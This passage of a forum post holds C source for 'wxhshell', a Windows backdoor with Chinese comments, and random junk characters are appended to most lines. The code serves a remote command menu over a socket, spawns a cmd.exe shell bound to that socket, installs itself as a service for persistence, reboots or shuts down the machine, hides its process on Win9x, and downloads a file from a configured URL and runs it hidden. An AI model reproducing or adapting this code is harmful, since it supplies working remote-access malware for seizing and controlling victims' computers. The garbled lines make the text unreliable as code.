  } kaK0'l2%  
  else { +vR$%  
-&3WN!egq  
    switch(cmd[0]) { _4H}OGZI  
  JYQ.Y!X1O  
  // 帮助 e7fA-,DV  
  case '?': { qJ\tc\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >=<qAkk  
    break; P[|FK(l  
  } [;IW'cXNq  
  // 安装 aqa%B  
  case 'i': { ]yzqBbV  
    if(Install()) &PfCY{_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D'dE!CAUs  
    else ve#*qz Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h"b;e2  
    break; ( Lp~:p  
    }  }YPW@g  
  // 卸载 ;THb6Jz/+  
  case 'r': { *""JE'wG  
    if(Uninstall()) C&d%S|:IR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vkQ81PEt  
    else pWU3?U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q(N2 #di  
    break; :j sa.X  
    } caK<;bmu-  
  // 显示 wxhshell 所在路径 `vkNp8|  
  case 'p': { T2;%@Ghc  
    char svExeFile[MAX_PATH]; XET'XJWF%  
    strcpy(svExeFile,"\n\r"); vY+{zGF  
      strcat(svExeFile,ExeFile); TB=KT j  
        send(wsh,svExeFile,strlen(svExeFile),0); vrS)VJg`  
    break; H<^*V8J 'w  
    } tcovMn '  
  // 重启 yQ^k%hHa  
  case 'b': {  |7ga9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ y{i.G  
    if(Boot(REBOOT)) q T16th[D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uVO*@Kj+  
    else { ! OM P]  
    closesocket(wsh); t}Z*2=DO  
    ExitThread(0); ! 11x&Db  
    } ^H0`UKE  
    break; 0SoU\/kUi  
    } -c^/k_n  
  // 关机 $_2S,3 }  
  case 'd': { (6jr}kP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qDOJ;> I  
    if(Boot(SHUTDOWN)) @<GVY))R8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (9;qV:0`  
    else { "8p fLI  
    closesocket(wsh); c1v,5c6d j  
    ExitThread(0); %s]l^RZ  
    } n+5X*~D  
    break; Dy>U=(S  
    } 1|4'3^3  
  // 获取shell ;$ot,mH?T  
  case 's': { \ 2Jr( ?U  
    CmdShell(wsh); AR<'Airi:  
    closesocket(wsh); 4JF8S#8B  
    ExitThread(0); z0@)@4z!  
    break; Y0kDHG  
  } _g%Wx?K9  
  // 退出 5kwDmJy  
  case 'x': { S-FoyID\H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'O#,;n  
    CloseIt(wsh); Y,v8eOo45S  
    break; Z19d Ted33  
    } yIS.'mK  
  // 离开 X%+FM]  
  case 'q': { =y3gnb6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !fFmQ\|)4S  
    closesocket(wsh); 69Y>iPRU  
    WSACleanup(); =4RBHe8`  
    exit(1); 8]DN]\\o  
    break; 4<`x*8` ,  
        } SE0"25\_G  
  } B_u+$Odo  
  } dXKv"*7l  
>$gWeFu  
  // 提示信息 t7VXW{3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  (-\ ,t  
} 3r=IO#  
  } URW#nm?  
MC5M><5\  
  return; 5a9PM(  
} opz.kP[e,  
MSPzOJQPy  
// shell模块句柄 jW6~^>S  
int CmdShell(SOCKET sock) RRaGc )B  
{ !<"H73?fl  
STARTUPINFO si; j)Z3m @Ii5  
ZeroMemory(&si,sizeof(si)); e_6@oh2s-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H<dOh5MFh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a;p3Me7  
PROCESS_INFORMATION ProcessInfo; DUg  
char cmdline[]="cmd"; 6MfjB@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &6/# O  
  return 0; NQq$0<7.=W  
} B7qm;(?X&  
3=!\>0;E-  
// 自身启动模式 R1'bB"$  
int StartFromService(void) /H+j6*}r  
{ ,HXY|fYr  
typedef struct IfoeHAWX  
{ `gq@LP"o  
  DWORD ExitStatus; DSyfF&uC  
  DWORD PebBaseAddress; be`\ O  
  DWORD AffinityMask; >JVZ@ PV H  
  DWORD BasePriority; _yT Gv-  
  ULONG UniqueProcessId; :)+|q  
  ULONG InheritedFromUniqueProcessId; k<uC[)_  
}   PROCESS_BASIC_INFORMATION; 9;u$a^R.  
yG?,8!/]  
PROCNTQSIP NtQueryInformationProcess; QK -_~9V  
+*[lp@zU{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8>G3KZ3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d?_Bll"  
HT/zcd)}#  
  HANDLE             hProcess; e!*d(lHKos  
  PROCESS_BASIC_INFORMATION pbi; L.bR\fE   
~;W]0d4,\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m4(:H(Za  
  if(NULL == hInst ) return 0; ?4wS/_C/  
4w0 &f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +_uT1PsBY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fB[I1Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uW!',"0ER  
]ERPWW;^  
  if (!NtQueryInformationProcess) return 0; [gFpFz|b<  
>=c<6#:s<9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YC4S,fY`  
  if(!hProcess) return 0; TFWV(<  
LBT{I)-K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )r-t$ L  
\?&P|7N  
  CloseHandle(hProcess); pZz?c/h-  
0EfM~u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >5)E\4r-  
if(hProcess==NULL) return 0; r6&f I"Yg  
&Cp)\`[y  
HMODULE hMod;  49&p~g  
char procName[255]; x2+%.$'  
unsigned long cbNeeded; A1x?_S"a  
:9q=o|T6D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !]4'f/  
\D>vdn"Lx  
  CloseHandle(hProcess); s QfP8}U  
D%kY  
if(strstr(procName,"services")) return 1; // 以服务启动 %qL0=ad  
L=ZKY  
  return 0; // 注册表启动 61>@-55k9  
} w;}pebL:  
l'HrU 1_7Y  
// 主模块 J2 {?P cs  
int StartWxhshell(LPSTR lpCmdLine) jSp4eq  
{ /10 I}3D  
  SOCKET wsl; Xu $_%+46  
BOOL val=TRUE; (D F{l?4x-  
  int port=0; msOk~ZPE6\  
  struct sockaddr_in door; E]V:@/(M'  
B'>(kZYMs  
  if(wscfg.ws_autoins) Install(); zz3Rld!b[  
SD paW6(_  
port=atoi(lpCmdLine); !Vl>?U?AN  
)?RR1P-ID  
if(port<=0) port=wscfg.ws_port; #jn6DL@[{  
@SeE,<  
  WSADATA data; K0_/;a] |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )B.NV<m  
VqV6)6   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0G?0 Bo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,\ zp&P"p  
  door.sin_family = AF_INET; U,S&"`a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *&{M ,  
  door.sin_port = htons(port); v8p-<N)  
91|=D \8aE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n_vopDMm  
closesocket(wsl); AHX_I  
return 1; [ah%>&u  
} RGh `=D/yE  
'aMT^w4if)  
  if(listen(wsl,2) == INVALID_SOCKET) { Wo&10S w  
closesocket(wsl); -I4-K%%B`  
return 1; F M:ax{  
} +ew2+2  
  Wxhshell(wsl); Yoi4R{9c  
  WSACleanup(); l@7X gsey  
m:A 7*r[  
return 0; [Dd?c,5AD  
l&cYN2T b  
} o!EPF-:  
`P}T{!P+6  
// 以NT服务方式启动 N}Ozm6Mc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^,[V;3  
{ 2ijw g~_@  
DWORD   status = 0; 4SSq5Ve<  
  DWORD   specificError = 0xfffffff; r168ft?c  
uV?[eiezD0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o mstJ9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E8#r<=(m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O{hGh{y  
  serviceStatus.dwWin32ExitCode     = 0; g(m3 &  
  serviceStatus.dwServiceSpecificExitCode = 0; ,p6X3zY  
  serviceStatus.dwCheckPoint       = 0; [I:D\)$<  
  serviceStatus.dwWaitHint       = 0; }TD$ !  
 )TV4OT#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >Z ZX]#=I  
  if (hServiceStatusHandle==0) return; Z|+SC \Y  
Uv'.]#H<  
status = GetLastError(); ~yz7/?A)TS  
  if (status!=NO_ERROR) u (V4KUk  
{ is_`UDaB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +` g&J  
    serviceStatus.dwCheckPoint       = 0; 6( TG/J  
    serviceStatus.dwWaitHint       = 0; FRpTYLA2  
    serviceStatus.dwWin32ExitCode     = status; X?5M)MP+I  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]v96Q/a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4RYK9=NH  
    return; QU0K'4Yx5j  
  } [|<2BQX  
) 9h5a+Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zM?JLNs]<{  
  serviceStatus.dwCheckPoint       = 0; _ Js & _d  
  serviceStatus.dwWaitHint       = 0; fnV^&`BB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2@WF]*Z  
} .z7%74p  
R:HF~}  
// 处理NT服务事件,比如:启动、停止 Ht#5;c2/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ++ !BSQ e  
{ Qm86!(eZ-  
switch(fdwControl) ek6PMZF:'  
{ sp*_;h3'  
case SERVICE_CONTROL_STOP: N q %@(K  
  serviceStatus.dwWin32ExitCode = 0; g2p/#\D\J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dl hb'*@  
  serviceStatus.dwCheckPoint   = 0; T^YdAQeE  
  serviceStatus.dwWaitHint     = 0; =y.!Ny5A  
  { KO/Z|I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _r0[ z  
  } Stqlp<xy  
  return; DEEQ/B{  
case SERVICE_CONTROL_PAUSE: pX3Q@3,$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &t1?=F,]  
  break; 9 A0wiKp  
case SERVICE_CONTROL_CONTINUE: %:rct  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OL|_@Fv`A  
  break; hd*bPj ;  
case SERVICE_CONTROL_INTERROGATE: (izGF;N+  
  break; <RzGxhT  
}; ?g*#l d()  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~EBm=v_>  
} Xk=bb267  
|E:q!4?0  
// 标准应用程序主函数 d%tF~|#A%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yg_;Eu0'?  
{ aq/'2U 7  
y ;W|)  
// 获取操作系统版本 r9[{0y!4  
OsIsNt=GetOsVer(); LJ7Qwh_",  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QR4!r@*=  
Z6@W)QX  
  // 从命令行安装 Y] Q=kI  
  if(strpbrk(lpCmdLine,"iI")) Install(); U1zcJ l^  
O3, IR1  
  // 下载执行文件 20glz(  
if(wscfg.ws_downexe) { HPM ggRs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7q_B`$ata  
  WinExec(wscfg.ws_filenam,SW_HIDE); {OHaI ;  
} daamP$h9  
xD[O8vQE  
if(!OsIsNt) { q1C) *8*g  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z!\xVCG"q  
HideProc(); 9C;Hm>WEpP  
StartWxhshell(lpCmdLine); "[W${q+0x  
} |l5ol @2*  
else l)@Zuh  
  if(StartFromService()) J=QuZwt  
  // 以服务方式启动 NCm>iEeY  
  StartServiceCtrlDispatcher(DispatchTable); <_X`D4g]XO  
else e)Q{yO  
  // 普通方式启动 wNzALfS  
  StartWxhshell(lpCmdLine); &OpGcbf1  
rl#[HbPM  
return 0; +n#(QOz  
}
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只看该作者 1 发表于: 2006-10-10
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